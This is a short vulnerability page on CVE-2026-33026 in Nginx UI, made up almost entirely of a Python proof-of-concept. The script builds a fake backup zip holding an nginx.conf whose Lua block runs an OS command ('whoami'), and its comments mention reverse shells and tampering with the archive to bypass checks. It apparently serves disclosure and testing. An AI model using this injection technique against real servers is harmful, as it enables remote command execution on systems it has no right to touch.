CVE-2026-33026 Nginx UI恶意配置注入漏洞

import os import zipfile # Proof of Concept: Creating a malicious backup structure # This script demonstrates how an attacker would structure a malicious Nginx configuration # to be injected into the backup archive. # Define the malicious Nginx configuration content # This configuration uses Lua to execute a shell command (e.g., reverse shell) malicious_config = """ server { listen 80; server_name localhost; location /poc { default_type 'text/plain'; content_by_lua_block { os.execute("whoami") } } } """ # Create a temporary directory to simulate the backup structure backup_dir = "malicious_backup" os.makedirs(backup_dir, exist_ok=True) # Write the malicious configuration to a file (simulating the path inside the backup) config_path = os.path.join(backup_dir, "nginx.conf") with open(config_path, "w") as f: f.write(malicious_config) # Create a zip archive (simulating the backup archive) archive_name = "malicious_backup.zip" with zipfile.ZipFile(archive_name, 'w') as zipf: zipf.write(config_path, arcname="nginx.conf") print(f"[+] Malicious backup archive '{archive_name}' created successfully.") print(f"[+] The archive contains a malicious nginx.conf that executes OS commands.") print(f"[!] Note: In a real attack, this archive would be encrypted/tampered to bypass checks.") # Cleanup os.remove(config_path) os.rmdir(backup_dir)